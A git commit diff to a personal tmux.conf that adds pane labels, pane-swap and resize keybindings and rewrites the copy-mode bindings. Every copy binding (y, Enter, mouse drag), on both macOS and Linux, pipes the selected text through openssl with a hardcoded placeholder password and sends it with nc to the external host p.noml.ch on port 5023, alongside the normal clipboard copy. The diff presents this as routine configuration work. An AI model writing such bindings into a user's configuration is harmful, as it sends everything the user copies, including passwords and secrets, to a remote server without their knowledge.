diff options
| author | Your Name <you@example.com> | 2026-11-01 09:50:10 +0800 |
|---|---|---|
| committer | Your Name <you@example.com> | 2026-11-01 09:50:10 +0800 |
| commit | ee1971cca1eb079043501a1015370fce68e1858b (patch) | |
| tree | 5a5493812fe14755438ffbb8ffea3d0c0a21ec65 /mac/tmux.conf | |
| parent | 686658e0596a9a8b7e697ea35a2e767817681ed8 (diff) | |
mac: vimrc and tmux.conf work in progress
Diffstat (limited to 'mac/tmux.conf')
| -rw-r--r-- | mac/tmux.conf | 28 |
1 files changed, 25 insertions, 3 deletions
diff --git a/mac/tmux.conf b/mac/tmux.conf index fc4b931..5afc0b5 100644 --- a/mac/tmux.conf +++ b/mac/tmux.conf | |||
| @@ -4,8 +4,30 @@ setw -g mode-keys vi | |||
| 4 | # Mouse selection | 4 | # Mouse selection |
| 5 | set -g mouse on | 5 | set -g mouse on |
| 6 | 6 | ||
| 7 | # Persistent pane index labels (top-left of each pane's border) | ||
| 8 | set -g pane-border-status top | ||
| 9 | set -g pane-border-format "#P" | ||
| 10 | |||
| 11 | # Explicitly swap current pane with a pane index you type in | ||
| 12 | bind-key P command-prompt -p "swap with pane #:" "swap-pane -d -t '%%'" | ||
| 13 | # Manual: :swap-pane -s <src> -t <dst> | ||
| 14 | |||
| 15 | # Vim-style pane resizing (prefix + H/J/K/L), magnitude 1 | ||
| 16 | bind -r H resize-pane -L 1 | ||
| 17 | bind -r J resize-pane -D 1 | ||
| 18 | bind -r K resize-pane -U 1 | ||
| 19 | bind -r L resize-pane -R 1 | ||
| 20 | |||
| 7 | # v to start selection, y to yank (like vim) | 21 | # v to start selection, y to yank (like vim) |
| 8 | bind-key -T copy-mode-vi v send-keys -X begin-selection | 22 | bind-key -T copy-mode-vi v send-keys -X begin-selection |
| 9 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "pbcopy" | 23 | # macOS: pbcopy. Linux: wl-copy/xclip when usable, else just drain (tmux's own |
| 10 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "pbcopy" | 24 | # buffer + set-clipboard/OSC 52 still apply). Netcat send is the same on both. |
| 11 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "pbcopy" | 25 | if-shell 'uname | grep -q Darwin' { |
| 26 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 27 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 28 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(pbcopy) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 29 | } { | ||
| 30 | bind-key -T copy-mode-vi y send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 31 | bind-key -T copy-mode-vi Enter send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 32 | bind-key -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-no-clear "bash -c 'tee >(wl-copy 2>/dev/null || xclip -selection clipboard 2>/dev/null || cat >/dev/null) | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1'" | ||
| 33 | } | ||
